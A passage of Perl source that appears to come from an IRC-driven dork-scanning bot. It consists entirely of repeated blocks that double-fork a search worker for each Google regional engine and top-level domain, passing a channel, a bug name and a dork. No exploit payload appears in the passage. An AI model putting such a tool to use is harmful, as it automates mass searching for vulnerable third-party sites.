if ($engine =~ /googleRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeRO",$type); } exit; } }
if ($engine =~ /googleTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeTW",$type); } exit; } }
if ($engine =~ /googleZA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeZA",$type); } exit; } }
if ($engine =~ /googlePT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLePT",$type); } exit; } }
if ($engine =~ /ae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AE",$type); } exit; } }
if ($engine =~ /ar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AR",$type); } exit; } }
if ($engine =~ /at/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AT",$type); } exit; } }
if ($engine =~ /au/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AU",$type); } exit; } }
if ($engine =~ /br/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BR",$type); } exit; } }
if ($engine =~ /ca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CA",$type); } exit; } }
if ($engine =~ /cl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CL",$type); } exit; } }
if ($engine =~ /cn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CN",$type); } exit; } }
if ($engine =~ /com/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CoM",$type); } exit; } }
if ($engine =~ /cz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CZ",$type); } exit; } }
if ($engine =~ /de/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"DE",$type); } exit; } }
if ($engine =~ /dk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"DK",$type); } exit; } }
if ($engine =~ /es/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"ES",$type); } exit; } }
if ($engine =~ /eu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"EU",$type); } exit; } }
if ($engine =~ /fr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"FR",$type); } exit; } }
if ($engine =~ /hu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"HU",$type); } exit; } }
if ($engine =~ /id/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"ID",$type); } exit; } }
if ($engine =~ /il/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"IL",$type); } exit; } }
if ($engine =~ /in/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"IN",$type); } exit; } }
if ($engine =~ /info/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"InfO",$type); } exit; } }
if ($engine =~ /ir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"IR",$type); } exit; } }
if ($engine =~ /it/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"IT",$type); } exit; } }
if ($engine =~ /jp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JP",$type); } exit; } }
if ($engine =~ /kr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"KR",$type); } exit; } }
if ($engine =~ /mx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MX",$type); } exit; } }
if ($engine =~ /my/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MY",$type); } exit; } }
if ($engine =~ /net/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"NeT",$type); } exit; } }
if ($engine =~ /nl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"NL",$type); } exit; } }
if ($engine =~ /org/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"OrG",$type); } exit; } }
if ($engine =~ /ph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"PH",$type); } exit; } }
if ($engine =~ /pl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"PL",$type); } exit; } }
if ($engine =~ /ro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"RO",$type); } exit; } }
if ($engine =~ /ru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"RU",$type); } exit; } }
if ($engine =~ /th/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TH",$type); } exit; } }
if ($engine =~ /ua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"UA",$type); } exit; } }
if ($engine =~ /uk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"UK",$type); } exit; } }
if ($engine =~ /us/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"US",$type); } exit; } }
if ($engine =~ /si/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SI",$type); } exit; } }
if ($engine =~ /be/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BE",$type); } exit; } }
if ($engine =~ /biz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BIZ",$type); } exit; } }
if ($engine =~ /xxx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"XXX",$type); } exit; } }
if ($engine =~ /tel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TEL",$type); } exit; } }
if ($engine =~ /tv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TV",$type); } exit; } }
if ($engine =~ /cc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CC",$type); } exit; } }
if ($engine =~ /mil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MIL",$type); } exit; } }
if ($engine =~ /asia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"ASIA",$type); } exit; } }
if ($engine =~ /name/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"NAME",$type); } exit; } }
if ($engine =~ /pro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"PRO",$type); } exit; } }
if ($engine =~ /travel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TRAVEL",$type); } exit; } }
if ($engine =~ /cat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CAT",$type); } exit; } }
if ($engine =~ /jobs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JOBS",$type); } exit; } }
if ($engine =~ /mobi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MOBI",$type); } exit; } }
if ($engine =~ /aero/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AERO",$type); } exit; } }
if ($engine =~ /coop/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"COOP",$type); } exit; } }
if ($engine =~ /edu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"EDU",$type); } exit; } }
if ($engine =~ /gov/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GOV",$type); } exit; } }
if ($engine =~ /as/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AS",$type); } exit; } }
if ($engine =~ /ai/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AI",$type); } exit; } }
if ($engine =~ /ag/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AG",$type); } exit; } }
if ($engine =~ /az/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AZ",$type); } exit; } }
if ($engine =~ /bh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BH",$type); } exit; } }
if ($engine =~ /bd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BD",$type); } exit; } }
if ($engine =~ /bz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BZ",$type); } exit; } }
if ($engine =~ /bo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BO",$type); } exit; } }
if ($engine =~ /ba/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BA",$type); } exit; } }
if ($engine =~ /bw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BW",$type); } exit; } }
if ($engine =~ /vg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"VG",$type); } exit; } }
if ($engine =~ /bg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BG",$type); } exit; } }
if ($engine =~ /bi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BI",$type); } exit; } }
if ($engine =~ /co/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CO",$type); } exit; } }
if ($engine =~ /cd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CD",$type); } exit; } }
if ($engine =~ /cg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CG",$type); } exit; } }
if ($engine =~ /ck/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CK",$type); } exit; } }
if ($engine =~ /cr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CR",$type); } exit; } }
if ($engine =~ /hr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"HR",$type); } exit; } }
if ($engine =~ /cu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CU",$type); } exit; } }
if ($engine =~ /ci/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CI",$type); } exit; } }
if ($engine =~ /dj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"DJ",$type); } exit; } }
if ($engine =~ /dm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"DM",$type); } exit; } }
if ($engine =~ /do/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"DO",$type); } exit; } }
if ($engine =~ /ec/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"EC",$type); } exit; } }
if ($engine =~ /eg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"EG",$type); } exit; } }
if ($engine =~ /sv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SV",$type); } exit; } }
if ($engine =~ /ee/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"EE",$type); } exit; } }
if ($engine =~ /et/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"ET",$type); } exit; } }
if ($engine =~ /fj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"FJ",$type); } exit; } }
if ($engine =~ /fi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"FI",$type); } exit; } }
if ($engine =~ /gm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GM",$type); } exit; } }
if ($engine =~ /gi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GI",$type); } exit; } }
if ($engine =~ /gr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GR",$type); } exit; } }
if ($engine =~ /gl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GL",$type); } exit; } }
if ($engine =~ /gt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GT",$type); } exit; } }
if ($engine =~ /gg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GG",$type); } exit; } }
if ($engine =~ /ht/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"HT",$type); } exit; } }
if ($engine =~ /hn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"HN",$type); } exit; } }
if ($engine =~ /hk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"HK",$type); } exit; } }
if ($engine =~ /is/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"IS",$type); } exit; } }
if ($engine =~ /ie/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"IE",$type); } exit; } }
if ($engine =~ /im/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"IM",$type); } exit; } }
if ($engine =~ /je/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JE",$type); } exit; } }
if ($engine =~ /jo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JO",$type); } exit; } }
if ($engine =~ /kz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"KZ",$type); } exit; } }
if ($engine =~ /ke/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"KE",$type); } exit; } }
if ($engine =~ /kg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"KG",$type); } exit; } }
if ($engine =~ /lv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"LV",$type); } exit; } }
if ($engine =~ /ls/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"LS",$type); } exit; } }
if ($engine =~ /ly/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"LY",$type); } exit; } }
if ($engine =~ /li/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"LI",$type); } exit; } }
if ($engine =~ /lt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"LT",$type); } exit; } }
if ($engine =~ /lu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"LU",$type); } exit; } }
if ($engine =~ /mw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MW",$type); } exit; } }
if ($engine =~ /mt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MT",$type); } exit; } }
if ($engine =~ /mu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MU",$type); } exit; } }
if ($engine =~ /fm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"FM",$type); } exit; } }
if ($engine =~ /mn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MN",$type); } exit; } }
if ($engine =~ /ms/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MS",$type); } exit; } }
if ($engine =~ /ma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MA",$type); } exit; } }
if ($engine =~ /na/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"NA",$type); } exit; } }
if ($engine =~ /np/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"NP",$type); } exit; } }
if ($engine =~ /nz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"NZ",$type); } exit; } }
if ($engine =~ /ni/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"NI",$type); } exit; } }
if ($engine =~ /nf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"NF",$type); } exit; } }
if ($engine =~ /no/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"NO",$type); } exit; } }
if ($engine =~ /om/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"OM",$type); } exit; } }
if ($engine =~ /pk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"PK",$type); } exit; } }
if ($engine =~ /pa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"PA",$type); } exit; } }
if ($engine =~ /py/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"PY",$type); } exit; } }
if ($engine =~ /pe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"PE",$type); } exit; } }
if ($engine =~ /pn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"PN",$type); } exit; } }
if ($engine =~ /pt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"PT",$type); } exit; } }
if ($engine =~ /pr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"PR",$type); } exit; } }
if ($engine =~ /qa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"QA",$type); } exit; } }
if ($engine =~ /rw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"RW",$type); } exit; } }
if ($engine =~ /sh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SH",$type); } exit; } }
if ($engine =~ /sm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SM",$type); } exit; } }
if ($engine =~ /sa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SA",$type); } exit; } }
if ($engine =~ /sn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SN",$type); } exit; } }
if ($engine =~ /sc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SC",$type); } exit; } }
if ($engine =~ /sg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SG",$type); } exit; } }
if ($engine =~ /sk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SK",$type); } exit; } }
if ($engine =~ /za/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"ZA",$type); } exit; } }
if ($engine =~ /lk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"LK",$type); } exit; } }
if ($engine =~ /vc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"VC",$type); } exit; } }
if ($engine =~ /se/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SE",$type); } exit; } }
if ($engine =~ /ch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CH",$type); } exit; } }
if ($engine =~ /tw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TW",$type); } exit; } }
if ($engine =~ /tj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TJ",$type); } exit; } }
if ($engine =~ /bs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BS",$type); } exit; } }
if ($engine =~ /to/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TO",$type); } exit; } }
if ($engine =~ /tt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TT",$type); } exit; } }
if ($engine =~ /tr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TR",$type); } exit; } }
if ($engine =~ /tm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TM",$type); } exit; } }
if ($engine =~ /vi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"VI",$type); } exit; } }
if ($engine =~ /ug/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"UG",$type); } exit; } }
if ($engine =~ /uy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"UY",$type); } exit; } }
if ($engine =~ /uz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"UZ",$type); } exit; } }
if ($engine =~ /ve/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"VE",$type); } exit; } }
if ($engine =~ /vn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"VN",$type); } exit; } }
if ($engine =~ /zm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"ZM",$type); } exit; } }
if ($engine =~ /museum/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MUSEUM",$type); } exit; } }
if ($engine =~ /ws/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"WS",$type); } exit; } }
if ($engine =~ /af/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AF",$type); } exit; } }
if ($engine =~ /ax/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AX",$type); } exit; } }
if ($engine =~ /al/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AL",$type); } exit; } }
if ($engine =~ /dz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"DZ",$type); } exit; } }
if ($engine =~ /ao/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AO",$type); } exit; } }
if ($engine =~ /aq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AQ",$type); } exit; } }
if ($engine =~ /am/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AM",$type); } exit; } }
if ($engine =~ /aw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AW",$type); } exit; } }
if ($engine =~ /ac/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AC",$type); } exit; } }
if ($engine =~ /bj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BJ",$type); } exit; } }
if ($engine =~ /bm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BM",$type); } exit; } }
